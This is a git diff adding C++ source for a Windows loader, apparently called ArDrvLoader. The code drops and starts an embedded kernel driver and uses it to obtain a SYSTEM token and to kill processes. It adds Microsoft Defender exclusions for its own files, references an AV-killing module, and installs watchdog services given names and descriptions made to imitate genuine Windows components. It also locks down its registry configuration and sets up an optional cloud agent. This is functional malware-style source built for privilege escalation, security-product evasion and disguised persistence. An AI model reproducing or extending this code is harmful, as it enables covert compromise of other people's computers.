destPath, err); + DeleteFileW(destPath); + return false; + } + + Log(L"[+] Embedded driver extracted: %s (%lu bytes)", destPath, size); + return true; +} + +bool OpenDriver() +{ + if (g_hDriver != INVALID_HANDLE_VALUE) + return true; + + g_hDriver = CreateFileW( + DRIVER_NAME, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (g_hDriver == INVALID_HANDLE_VALUE) + { + Log(L"[-] OpenDriver failed: %lu", GetLastError()); + return false; + } + + Log(L"[+] Driver opened"); + return true; +} + +void CloseDriver() +{ + if (g_hDriver != INVALID_HANDLE_VALUE) + { + CloseHandle(g_hDriver); + g_hDriver = INVALID_HANDLE_VALUE; + } +} + +bool ExtractDriverImageIfEmbedded(const wchar_t* destPath) +{ + if (!destPath || !*destPath) + return false; + + DWORD attr = GetFileAttributesW(destPath); + + if (attr != INVALID_FILE_ATTRIBUTES) + return true; + + return WriteEmbeddedDriverTo(destPath); +} + +bool EnsureDriverLoaded() +{ + if (OpenDriver()) + return true; + + // Packed driver: drop it on disk before the SCM tries to load it. + if (GetFileAttributesW(DRIVER_PATH) == INVALID_FILE_ATTRIBUTES) + ExtractDriverImageIfEmbedded(DRIVER_PATH); + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!scm) + { + Log(L"[-] OpenSCManager failed: %lu", GetLastError()); + return false; + } + + SC_HANDLE svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_START); + + if (!svc) + { + DWORD e = GetLastError(); + + if (e == ERROR_SERVICE_EXISTS) + { + svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_START); + } + else + { + svc = CreateServiceW( + scm, + SERVICE_NAME, + SERVICE_NAME, + SERVICE_QUERY_STATUS | SERVICE_START, + SERVICE_KERNEL_DRIVER, + SERVICE_DEMAND_START, + SERVICE_ERROR_NORMAL, + DRIVER_PATH, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr); + + if (svc) + Log(L"[+] Driver service created"); + else + Log(L"[-] CreateService failed: %lu", GetLastError()); + } + } + + if (svc) + { + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && (st.dwCurrentState == SERVICE_RUNNING); + + if (!running) + { + BOOL started = StartServiceW(svc, 0, nullptr); + DWORD e = GetLastError(); + + if (!started && e != ERROR_SERVICE_ALREADY_RUNNING) + Log(L"[!] StartService failed: %lu", e); + else + Log(L"[+] Driver service started"); + } + else + { + Log(L"[+] Driver service already running"); + } + + CloseServiceHandle(svc); + } + + CloseServiceHandle(scm); + + for (int i = 0; i < 50; ++i) + { + if (OpenDriver()) + return true; + + Sleep(20); + } + + Log(L"[-] Driver device not found after service start"); + return false; +} + +static HANDLE DuplicateDriverReturnedTokenHandle(ULONG_PTR handleValue) +{ + if (handleValue == 0) + return nullptr; + + HANDLE src = reinterpret_cast(handleValue); + HANDLE dup = nullptr; + + if (!DuplicateHandle( + GetCurrentProcess(), + src, + GetCurrentProcess(), + &dup, + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID, + FALSE, + DUPLICATE_SAME_ACCESS)) + { + Log(L"[-] Driver returned handle %p, but DuplicateHandle failed: %lu", src, GetLastError()); + return nullptr; + } + + if (!TokenIsLocalSystem(dup)) + { + Log(L"[-] Driver returned token is not LocalSystem"); + CloseHandle(dup); + return nullptr; + } + + Log(L"[+] Driver returned usable SYSTEM token handle"); + return dup; +} + +bool EscalateViaDriver(HANDLE* outSystemToken) +{ + if (!OpenDriver()) + return false; + + struct EscRequest + { + BYTE op; + BYTE reserved[15]; + }; + + static_assert(sizeof(EscRequest) == 16, "EscRequest must match driver input buffer size"); + + EscRequest req{}; + req.op = 0x01; + + ULONG_PTR outHandle = 0; + DWORD bytes = 0; + + BOOL ok = DeviceIoControl( + g_hDriver, + IOCTL_ESC, + &req, + sizeof(req), + &outHandle, + sizeof(outHandle), + &bytes, + nullptr); + + DWORD err = ok ? ERROR_SUCCESS : GetLastError(); + + if (!ok && (err == ERROR_INVALID_PARAMETER || err == ERROR_MORE_DATA)) + { + outHandle = 0; + bytes = 0; + + ok = DeviceIoControl( + g_hDriver, + IOCTL_ESC, + &req, + sizeof(req), + nullptr, + 0, + nullptr, + nullptr); + + err = ok ? ERROR_SUCCESS : GetLastError(); + } + + if (!ok) + { + Log(L"[-] IOCTL_ESC failed: %lu", err); + return false; + } + + if (bytes >= sizeof(ULONG_PTR)) + { + HANDLE token = DuplicateDriverReturnedTokenHandle(outHandle); + + if (token) + { + if (outSystemToken) + *outSystemToken = token; + else + CloseHandle(token); + + return true; + } + } + + bool systemNow = IsCurrentProcessSystem(); + + if (!systemNow) + Log(L"[-] IOCTL_ESC returned success, but current process is not SYSTEM and no usable token handle was returned"); + + return systemNow; +} + +bool TerminateProcessViaDriver(DWORD pid) +{ + if (!pid) + return false; + + if (!OpenDriver()) + return false; + + DWORD bytes = 0; + + BOOL ok = DeviceIoControl( + g_hDriver, + IOCTL_TERM, + &pid, + sizeof(pid), + nullptr, + 0, + &bytes, + nullptr); + + if (!ok) + { + Log(L"[-] TerminateProcessViaDriver(%lu) failed: %lu", pid, GetLastError()); + return false; + } + + Log(L"[+] Terminate IOCTL accepted for PID %lu", pid); + return true; +} + + diff --git a/DriverClient.h b/DriverClient.h new file mode 100644 index 0000000..e1d909c --- /dev/null +++ b/DriverClient.h @@ -0,0 +1,20 @@ +#pragma once + +#include + +bool OpenDriver(); +void CloseDriver(); +bool EnsureDriverLoaded(); +bool EscalateViaDriver(HANDLE* outSystemToken); +bool TerminateProcessViaDriver(DWORD pid); + +// Writes the driver image packed into this executable to destPath, overwriting +// whatever is there. Returns false when no image is embedded or writing fails. +bool WriteEmbeddedDriverTo(const wchar_t* destPath); + +// Size of the packed driver image in bytes, 0 when none is embedded. +DWORD EmbeddedDriverSize(); + +// Extracts the embedded ardrv.sys to destPath when the file is absent. +// Returns true when destPath exists afterwards. +bool ExtractDriverImageIfEmbedded(const wchar_t* destPath); diff --git a/Exclusions.cpp b/Exclusions.cpp new file mode 100644 index 0000000..2d2494d --- /dev/null +++ b/Exclusions.cpp @@ -0,0 +1,329 @@ +#include "Common.h" +#include "Exclusions.h" +#include "Paths.h" +#include "Logger.h" + +#include +#include + +static const wchar_t* kConfigKey = L"SOFTWARE\\ArDrvLoader"; +static const wchar_t* kExclusionValue = L"ExclusionPaths"; + +static std::wstring PowerShellPath() +{ + wchar_t sys[MAX_PATH]{}; + + if (GetSystemDirectoryW(sys, _countof(sys)) == 0) + return L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"; + + return std::wstring(sys) + + L"\\WindowsPowerShell\\v1.0\\powershell.exe"; +} + +// Runs a PowerShell one-liner and captures stdout. +static bool RunPowerShell(const std::wstring& script, std::wstring& output) +{ + output.clear(); + + SECURITY_ATTRIBUTES sa{}; + sa.nLength = sizeof(sa); + sa.bInheritHandle = TRUE; + + HANDLE readEnd = nullptr; + HANDLE writeEnd = nullptr; + + if (!CreatePipe(&readEnd, &writeEnd, &sa, 0)) + return false; + + SetHandleInformation(readEnd, HANDLE_FLAG_INHERIT, 0); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdOutput = writeEnd; + si.hStdError = writeEnd; + si.hStdInput = nullptr; + + PROCESS_INFORMATION pi{}; + + std::wstring cmd = + L"\"" + PowerShellPath() + L"\" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command \"" + + script + L"\""; + + std::vector mutableCmd(cmd.begin(), cmd.end()); + mutableCmd.push_back(L'\0'); + + BOOL ok = CreateProcessW( + nullptr, + mutableCmd.data(), + nullptr, + nullptr, + TRUE, + CREATE_NO_WINDOW, + nullptr, + nullptr, + &si, + &pi); + + CloseHandle(writeEnd); + + if (!ok) + { + CloseHandle(readEnd); + return false; + } + + std::string bytes; + char buf[4096]{}; + DWORD read = 0; + + while (ReadFile(readEnd, buf, sizeof(buf), &read, nullptr) && read > 0) + bytes.append(buf, read); + + WaitForSingleObject(pi.hProcess, 60000); + + CloseHandle(readEnd); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + + int need = MultiByteToWideChar(CP_UTF8, 0, bytes.c_str(), (int)bytes.size(), nullptr, 0); + + if (need > 0) + { + output.resize(need); + MultiByteToWideChar(CP_UTF8, 0, bytes.c_str(), (int)bytes.size(), output.data(), need); + } + + return true; +} + +bool DefenderPresent() +{ + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snap == INVALID_HANDLE_VALUE) + return false; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + bool found = false; + + if (Process32First(snap, &pe)) + { + do + { + if (_wcsicmp(pe.szExeFile, L"MsMpEng.exe") == 0) + { + found = true; + break; + } + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + return found; +} + +std::vector DefaultExclusionPaths() +{ + std::vector paths; + + paths.push_back(ArdrvRoot()); + paths.push_back(ArdrvStageDir()); + + wchar_t module[MAX_PATH]{}; + + DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (len > 0 && len < _countof(module)) + paths.push_back(module); + + return paths; +} + +static std::wstring EscapePowerShell(const std::wstring& s) +{ + std::wstring out; + + for (wchar_t c : s) + { + if (c == L'\'') + out += L"''"; + else + out += c; + } + + return out; +} + +bool ApplyExclusions(const std::vector& paths, std::wstring& report) +{ + report.clear(); + + if (paths.empty()) + { + report = L"no paths"; + return false; + } + + std::wstring script = L"$ErrorActionPreference='Stop'; "; + + for (const auto& p : paths) + script += L"try { Add-MpPreference -ExclusionPath '" + EscapePowerShell(p) + + L"' -ErrorAction Stop; Write-Output ('APPLIED ' + '" + EscapePowerShell(p) + L"') } " + + L"catch { Write-Output ('REFUSED ' + '" + EscapePowerShell(p) + L"' + ' :: ' + " + + L"$_.Exception.GetType().Name) }; "; + + script += L"try { (Get-MpPreference).ExclusionPath | ForEach-Object { 'NOW ' + $_ } } catch { 'NOW unavailable' }"; + + std::wstring output; + + if (!RunPowerShell(script, output)) + { + report = L"powershell failed"; + return false; + } + + report = output; + + bool applied = output.find(L"APPLIED") != std::wstring::npos; + + Log(L"[excl] apply result: %s", applied ? L"applied" : L"refused by policy"); + + return applied; +} + +std::vector QueryExclusions(std::wstring& report) +{ + std::vector paths; + report.clear(); + + std::wstring output; + + if (!RunPowerShell(L"try { (Get-MpPreference).ExclusionPath | ForEach-Object { $_ } } catch { 'ERR ' + $_.Exception.Message }", output)) + { + report = L"powershell failed"; + return paths; + } + + std::wistringstream in(output); + std::wstring line; + + while (std::getline(in, line)) + { + while (!line.empty() && (line.back() == L'\r' || line.back() == L'\n')) + line.pop_back(); + + if (line.empty()) + continue; + + if (line.rfind(L"ERR", 0) == 0) + { + report = line; + continue; + } + + // Defender answers with a pseudo-entry when the caller is not elevated. + if (line.rfind(L"N/A", 0) == 0) + { + report = line; + continue; + } + + paths.push_back(line); + } + + report = paths.empty() ? L"none" : (std::to_wstring(paths.size()) + L" entries"); + return paths; +} + +std::vector LoadExclusionList() +{ + std::vector paths; + + HKEY key = nullptr; + + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS) + return paths; + + wchar_t buf[8192]{}; + DWORD size = sizeof(buf); + DWORD type = 0; + + if (RegQueryValueExW(key, kExclusionValue, nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && + (type == REG_SZ || type == REG_EXPAND_SZ)) + { + std::wstring all = buf; + std::wstring cur; + + for (wchar_t c : all) + { + if (c == L'|') + { + if (!cur.empty()) + paths.push_back(cur); + + cur.clear(); + } + else + { + cur += c; + } + } + + if (!cur.empty()) + paths.push_back(cur); + } + + RegCloseKey(key); + return paths; +} + +bool SaveExclusionList(const std::vector& paths) +{ + std::wstring joined; + + for (const auto& p : paths) + { + if (!joined.empty()) + joined += L"|"; + + joined += p; + } + + HKEY key = nullptr; + + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr) + != ERROR_SUCCESS) + { + return false; + } + + DWORD bytes = (DWORD)((joined.size() + 1) * sizeof(wchar_t)); + + bool ok = RegSetValueExW( + key, + kExclusionValue, + 0, + REG_SZ, + (const BYTE*)joined.c_str(), + bytes) == ERROR_SUCCESS; + + RegCloseKey(key); + return ok; +} + +std::wstring FormatExclusionList(const std::vector& paths) +{ + if (paths.empty()) + return L"none"; + + std::wostringstream os; + os << paths.size() << L" paths"; + + for (const auto& p : paths) + os << L"\r\n " << p; + + return os.str(); +} diff --git a/Exclusions.h b/Exclusions.h new file mode 100644 index 0000000..a1ecf4d --- /dev/null +++ b/Exclusions.h @@ -0,0 +1,28 @@ +#pragma once + +#include + +#include +#include + +// Defensive exclusions. Best effort by design: Tamper Protection refuses +// Add-MpPreference even for SYSTEM, in which case the report says so instead of +// pretending the exclusion landed. + +bool DefenderPresent(); + +// Paths the loader wants excluded: its own binaries and working directories. +std::vector DefaultExclusionPaths(); + +// Applies the list through Add-MpPreference, then reads the result back. +// report receives one line per path (applied / refused) plus a summary. +bool ApplyExclusions(const std::vector& paths, std::wstring& report); + +// Current Defender exclusion list (empty when Defender is absent or refuses). +std::vector QueryExclusions(std::wstring& report); + +// Persisted wish-list under HKLM\SOFTWARE\ArDrvLoader. +std::vector LoadExclusionList(); +bool SaveExclusionList(const std::vector& paths); + +std::wstring FormatExclusionList(const std::vector& paths); diff --git a/GuardService.cpp b/GuardService.cpp new file mode 100644 index 0000000..5f3a758 --- /dev/null +++ b/GuardService.cpp @@ -0,0 +1,1826 @@ +#include "Common.h" +#include "GuardService.h" + +#include "Logger.h" +#include "ProcessUtils.h" +#include "ServiceManager.h" +#include "DriverClient.h" +#include "HostStager.h" +#include "StageClient.h" +#include "Exclusions.h" +#include "AvKill.h" +#include "Paths.h" + +#include +#include +#include +#include + +static const wchar_t* kConfigKey = L"SOFTWARE\\ArDrvLoader"; + +struct GuardConfig +{ + std::wstring role; + std::wstring serviceName; + std::wstring prefix; + std::wstring targetPath; + std::wstring targetArgs; + std::wstring targetService; + + std::wstring driverImage = L"C:\\Windows\\System32\\drivers\\ardrv.sys"; + std::wstring driverService = L"ArDrv"; + std::wstring driverDevice = L"\\\\.\\ArDrv"; + + // Names of the installed watchdogs, so each role can keep its peers alive. + std::wstring driverServiceName; + std::wstring guardServiceName; + std::wstring repairServiceName; + + DWORD intervalMs = 5000; + DWORD desiredStartType = SERVICE_AUTO_START; + DWORD killAvOnStart = 0; + DWORD driverFailMax = 3; + + bool noStart = false; + bool console = false; + bool allowVm = false; + bool keepLocation = false; + bool installDryRun = false; + std::wstring installDir; + + // Optional cloud agent service installed in the same elevated pass. + std::wstring cloudUrl; + std::wstring cloudSecret; + std::wstring cloudAgent; + std::wstring cloudServiceName; +}; + +static SERVICE_STATUS_HANDLE g_guardStatusHandle = nullptr; +static SERVICE_STATUS g_guardStatus{}; +static HANDLE g_guardStopEvent = nullptr; +static std::wstring g_guardServiceName = L"ArDrvGuard"; +static GuardConfig g_guardBaseConfig; + +static void TrimW(std::wstring& s) +{ + size_t a = 0; + size_t b = s.size(); + + while (a < b && iswspace(s[a])) + ++a; + + while (b > a && iswspace(s[b - 1])) + --b; + + if (a != 0 || b != s.size()) + s = s.substr(a, b - a); +} + +static bool FileExistsW(const std::wstring& path) +{ + if (path.empty()) + return false; + + DWORD attr = GetFileAttributesW(path.c_str()); + return attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) == 0; +} + +static std::wstring GetModuleDirectory() +{ + wchar_t path[MAX_PATH]{}; + DWORD len = GetModuleFileNameW(nullptr, path, _countof(path)); + + if (len == 0 || len >= _countof(path)) + return std::wstring(); + + std::wstring p = path; + size_t pos = p.find_last_of(L"\\/"); + + if (pos != std::wstring::npos) + p = p.substr(0, pos); + + return p; +} + +static std::wstring GetFullPathW(const std::wstring& path) +{ + if (path.empty()) + return path; + + wchar_t full[4096]{}; + DWORD n = GetFullPathNameW(path.c_str(), _countof(full), full, nullptr); + + if (n == 0 || n >= _countof(full)) + return path; + + return full; +} + +static bool RegReadStringValue(const wchar_t* name, std::wstring& out) +{ + out.clear(); + + HKEY key = nullptr; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS) + return false; + + DWORD type = 0; + DWORD size = 0; + + if (RegQueryValueExW(key, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS) + { + RegCloseKey(key); + return false; + } + + if (type != REG_SZ && type != REG_EXPAND_SZ) + { + RegCloseKey(key); + return false; + } + + std::vector buf(size / sizeof(wchar_t) + 1); + + if (RegQueryValueExW(key, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS) + out = buf.data(); + + RegCloseKey(key); + return true; +} + +static bool RegReadDwordValue(const wchar_t* name, DWORD& out) +{ + out = 0; + + HKEY key = nullptr; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS) + return false; + + DWORD type = 0; + DWORD size = sizeof(out); + DWORD value = 0; + + bool ok = + RegQueryValueExW(key, name, nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS && + type == REG_DWORD; + + RegCloseKey(key); + + if (ok) + out = value; + + return ok; +} + +static bool WriteStringValue(HKEY key, const wchar_t* name, const std::wstring& value) +{ + DWORD bytes = (DWORD)((value.size() + 1) * sizeof(wchar_t)); + return RegSetValueExW(key, name, 0, REG_SZ, (const BYTE*)value.c_str(), bytes) == ERROR_SUCCESS; +} + +static bool WriteDwordValue(HKEY key, const wchar_t* name, DWORD value) +{ + return RegSetValueExW(key, name, 0, REG_DWORD, (const BYTE*)&value, sizeof(value)) == ERROR_SUCCESS; +} + +static GuardConfig LoadRuntimeConfig(const GuardConfig& base) +{ + GuardConfig cfg = base; + std::wstring s; + DWORD d = 0; + + if (RegReadStringValue(L"TargetPath", s) && !s.empty()) + cfg.targetPath = s; + + if (RegReadStringValue(L"TargetArgs", s) && !s.empty()) + cfg.targetArgs = s; + + if (RegReadStringValue(L"TargetService", s) && !s.empty()) + cfg.targetService = s; + + if (RegReadStringValue(L"DriverImage", s) && !s.empty()) + cfg.driverImage = s; + + if (RegReadStringValue(L"DriverService", s) && !s.empty()) + cfg.driverService = s; + + if (RegReadStringValue(L"DriverDevice", s) && !s.empty()) + cfg.driverDevice = s; + + if (RegReadDwordValue(L"CheckIntervalMs", d) && d >= 1000) + cfg.intervalMs = d; + + if (RegReadStringValue(L"DriverServiceName", s) && !s.empty()) + cfg.driverServiceName = s; + + if (RegReadStringValue(L"GuardServiceName", s) && !s.empty()) + cfg.guardServiceName = s; + + if (RegReadStringValue(L"RepairServiceName", s) && !s.empty()) + cfg.repairServiceName = s; + + if (RegReadDwordValue(L"DesiredStartType", d) && + (d == SERVICE_AUTO_START || d == SERVICE_DEMAND_START || d == SERVICE_DISABLED)) + { + cfg.desiredStartType = d; + } + + if (RegReadDwordValue(L"KillAvOnStart", d)) + cfg.killAvOnStart = d; + + if (RegReadDwordValue(L"DriverFailMax", d) && d >= 1 && d <= 100) + cfg.driverFailMax = d; + + return cfg; +} + +// Number of consecutive driver load failures, persisted so a boot loop cannot +// retry forever after a bugcheck. +static DWORD LoadDriverFailCount() +{ + DWORD value = 0; + RegReadDwordValue(L"DriverFailCount", value); + return value; +} + +static void SaveDriverFailCount(DWORD value) +{ + HKEY key = nullptr; + + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr) + == ERROR_SUCCESS) + { + WriteDwordValue(key, L"DriverFailCount", value); + RegCloseKey(key); + } +} + +static void SaveDriverState(const wchar_t* state) +{ + HKEY key = nullptr; + + if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr) + == ERROR_SUCCESS) + { + WriteStringValue(key, L"DriverState", state); + RegCloseKey(key); + } +} + +static bool HardenConfigKey(HKEY key){ + // SYSTEM and Administrators full control, everyone else nothing. + // Protected DACL so a child key cannot re-grant access. + const wchar_t* sddl = L"D:P(A;CI;KA;;;SY)(A;CI;KA;;;BA)"; + + PSECURITY_DESCRIPTOR sd = nullptr; + + if (!ConvertStringSecurityDescriptorToSecurityDescriptorW( + sddl, + SDDL_REVISION_1, + &sd, + nullptr)) + { + Log(L"[-] Config DACL: SDDL parse failed: %lu", GetLastError()); + return false; + } + + BOOL daclPresent = FALSE; + BOOL daclDefaulted = FALSE; + PACL dacl = nullptr; + + bool ok = + GetSecurityDescriptorDacl(sd, &daclPresent, &dacl, &daclDefaulted) && + daclPresent && + SetSecurityInfo( + key, + SE_REGISTRY_KEY, + DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, + nullptr, + nullptr, + dacl, + nullptr) == ERROR_SUCCESS; + + if (!ok) + Log(L"[-] Config DACL: SetSecurityInfo failed: %lu", GetLastError()); + + LocalFree(sd); + return ok; +} + +static bool WriteInstalledConfig(const GuardConfig& cfg) +{ + HKEY key = nullptr; + + if (RegCreateKeyExW( + HKEY_LOCAL_MACHINE, + kConfigKey, + 0, + nullptr, + 0, + KEY_SET_VALUE | KEY_READ | WRITE_DAC, + nullptr, + &key, + nullptr) != ERROR_SUCCESS) + { + return false; + } + + bool ok = true; + + ok = WriteStringValue(key, L"TargetPath", cfg.targetPath) && ok; + ok = WriteStringValue(key, L"TargetArgs", cfg.targetArgs) && ok; + ok = WriteStringValue(key, L"TargetService", cfg.targetService) && ok; + ok = WriteStringValue(key, L"DriverImage", cfg.driverImage) && ok; + ok = WriteStringValue(key, L"DriverService", cfg.driverService) && ok; + ok = WriteStringValue(key, L"DriverDevice", cfg.driverDevice) && ok; + ok = WriteDwordValue(key, L"CheckIntervalMs", cfg.intervalMs) && ok; + ok = WriteDwordValue(key, L"DesiredStartType", cfg.desiredStartType) && ok; + ok = WriteStringValue(key, L"DriverServiceName", cfg.driverServiceName) && ok; + ok = WriteStringValue(key, L"GuardServiceName", cfg.guardServiceName) && ok; + ok = WriteStringValue(key, L"RepairServiceName", cfg.repairServiceName) && ok; + ok = WriteDwordValue(key, L"AllowVm", cfg.allowVm ? 1 : 0) && ok; + ok = WriteDwordValue(key, L"KillAvOnStart", cfg.killAvOnStart) && ok; + ok = WriteDwordValue(key, L"DriverFailMax", cfg.driverFailMax) && ok; + + HardenConfigKey(key); + + RegCloseKey(key); + return ok; +} + +static std::wstring DefaultServiceNameForRole(const std::wstring& role) +{ + // Names read like Windows component hosts: short, plausible, and not + // colliding with any real service. + if (_wcsicmp(role.c_str(), L"driver") == 0) + return L"DeviceSetupHost"; + + if (_wcsicmp(role.c_str(), L"repair") == 0) + return L"ServiceStateHost"; + + return L"ProgramCompatHost"; +} + +static std::wstring DisplayNameForRole(const std::wstring& role) +{ + if (_wcsicmp(role.c_str(), L"driver") == 0) + return L"Device Setup Manager Host"; + + if (_wcsicmp(role.c_str(), L"repair") == 0) + return L"Service State Repository Host"; + + return L"Program Compatibility Assistant Host"; +} + +static std::wstring DescriptionForRole(const std::wstring& role) +{ + if (_wcsicmp(role.c_str(), L"driver") == 0) + return L"Maintains device installation state and loads required kernel components."; + + if (_wcsicmp(role.c_str(), L"repair") == 0) + return L"Monitors service state and restores required components."; + + return L"Tracks application compatibility state and keeps registered programs available."; +} + +// Default install directory: %ProgramData%\Microsoft\Windows\Caches\ +static std::wstring DefaultInstallDir(const std::wstring& serviceName) +{ + return ArdrvServiceDir(serviceName); +} + +static bool ParseGuardArgs(int argc, wchar_t** argv, int start, GuardConfig& cfg) +{ + for (int i = start; i < argc; ++i) + { + std::wstring a = argv[i]; + + auto takeNext = [&](std::wstring& out) -> bool + { + if (i + 1 >= argc) + return false; + + out = argv[++i]; + return true; + }; + + if (a == L"--service-name") + { + if (!takeNext(cfg.serviceName)) + return false; + continue; + } + + if (a == L"--prefix") + { + if (!takeNext(cfg.prefix)) + return false; + continue; + } + + if (a == L"--target") + { + if (!takeNext(cfg.targetPath)) + return false; + continue; + } + + if (a == L"--args") + { + if (!takeNext(cfg.targetArgs)) + return false; + continue; + } + + if (a == L"--target-service") + { + if (!takeNext(cfg.targetService)) + return false; + continue; + } + + if (a == L"--driver-image") + { + if (!takeNext(cfg.driverImage)) + return false; + continue; + } + + if (a == L"--driver-service") + { + if (!takeNext(cfg.driverService)) + return false; + continue; + } + + if (a == L"--driver-device") + { + if (!takeNext(cfg.driverDevice)) + return false; + continue; + } + + if (a == L"--interval") + { + std::wstring v; + if (!takeNext(v)) + return false; + + DWORD ms = (DWORD)wcstoul(v.c_str(), nullptr, 10); + if (ms >= 1000) + cfg.intervalMs = ms; + + continue; + } + + if (a == L"--desired-start") + { + std::wstring v; + if (!takeNext(v)) + return false; + + cfg.desiredStartType = + (_wcsicmp(v.c_str(), L"demand") == 0) + ? SERVICE_DEMAND_START + : SERVICE_AUTO_START; + + continue; + } + + if (a == L"--no-start") + { + cfg.noStart = true; + continue; + } + + if (a == L"--console") + { + cfg.console = true; + continue; + } + + if (a == L"--allow-vm") + { + cfg.allowVm = true; + continue; + } + + if (a == L"--install-dir") + { + if (!takeNext(cfg.installDir)) + return false; + continue; + } + + if (a == L"--keep-location") + { + cfg.keepLocation = true; + continue; + } + + if (a == L"--dry-run") + { + cfg.installDryRun = true; + continue; + } + + if (a == L"--cloud-url") + { + if (!takeNext(cfg.cloudUrl)) + return false; + continue; + } + + if (a == L"--cloud-secret") + { + if (!takeNext(cfg.cloudSecret)) + return false; + continue; + } + + if (a == L"--cloud-agent") + { + if (!takeNext(cfg.cloudAgent)) + return false; + continue; + } + + if (a == L"--cloud-service") + { + if (!takeNext(cfg.cloudServiceName)) + return false; + continue; + } + + if (a == L"--elevated") + continue; + + if (!a.empty() && a[0] != L'-' && cfg.targetPath.empty()) + cfg.targetPath = a; + } + + return true; +} + +static bool EnsureDriverFile(const GuardConfig& cfg) +{ + if (FileExistsW(cfg.driverImage)) + return true; + + std::wstring dir = GetModuleDirectory(); + if (dir.empty()) + return false; + + std::wstring local = dir + L"\\ardrv.sys"; + + if (!FileExistsW(local)) + { + // No loose driver next to the exe: try the image packed into this binary. + if (ExtractDriverImageIfEmbedded(cfg.driverImage.c_str())) + return true; + + Log(L"[-] Driver image not found: %s", cfg.driverImage.c_str()); + return false; + } + + if (!CopyFileW(local.c_str(), cfg.driverImage.c_str(), FALSE)) + { + Log(L"[-] CopyFile driver failed: %lu", GetLastError()); + return false; + } + + Log(L"[+] Driver image copied to %s", cfg.driverImage.c_str()); + return FileExistsW(cfg.driverImage); +} + +static bool EnsureDriverRunning(const GuardConfig& cfg) +{ + if (!EnsureDriverFile(cfg)) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!scm) + { + Log(L"[-] Driver role: OpenSCManager failed: %lu", GetLastError()); + return false; + } + + const DWORD access = + SERVICE_QUERY_STATUS | + SERVICE_START | + SERVICE_CHANGE_CONFIG | + SERVICE_QUERY_CONFIG; + + SC_HANDLE svc = OpenServiceW(scm, cfg.driverService.c_str(), access); + + if (!svc) + { + DWORD e = GetLastError(); + + if (e == ERROR_SERVICE_DOES_NOT_EXIST) + { + svc = CreateServiceW( + scm, + cfg.driverService.c_str(), + cfg.driverService.c_str(), + access, + SERVICE_KERNEL_DRIVER, + SERVICE_DEMAND_START, + SERVICE_ERROR_NORMAL, + cfg.driverImage.c_str(), + nullptr, + nullptr, + nullptr, + nullptr, + nullptr); + + if (svc) + Log(L"[+] Driver service created: %s", cfg.driverService.c_str()); + else + Log(L"[-] Driver service create failed: %lu", GetLastError()); + } + else + { + Log(L"[-] Driver service open failed: %lu", e); + } + } + + if (!svc) + { + CloseServiceHandle(scm); + return false; + } + + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (!running) + { + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e == ERROR_SERVICE_DISABLED) + { + ChangeServiceConfigW( + svc, + SERVICE_NO_CHANGE, + SERVICE_DEMAND_START, + SERVICE_NO_CHANGE, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr); + + StartServiceW(svc, 0, nullptr); + } + } + } + + bool deviceOk = false; + + for (int i = 0; i < 60; ++i) + { + HANDLE h = CreateFileW( + cfg.driverDevice.c_str(), + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (h != INVALID_HANDLE_VALUE) + { + CloseHandle(h); + deviceOk = true; + break; + } + + Sleep(50); + } + + if (!deviceOk) + Log(L"[-] Driver device not available: %s", cfg.driverDevice.c_str()); + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + return deviceOk; +} + +static bool GetProcessImagePath(DWORD pid, std::wstring& out) +{ + out.clear(); + + HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + if (!h) + return false; + + wchar_t buf[4096]{}; + DWORD size = _countof(buf); + + bool ok = QueryFullProcessImageNameW(h, 0, buf, &size) == TRUE; + + if (ok) + out.assign(buf, size); + + CloseHandle(h); + return ok; +} + 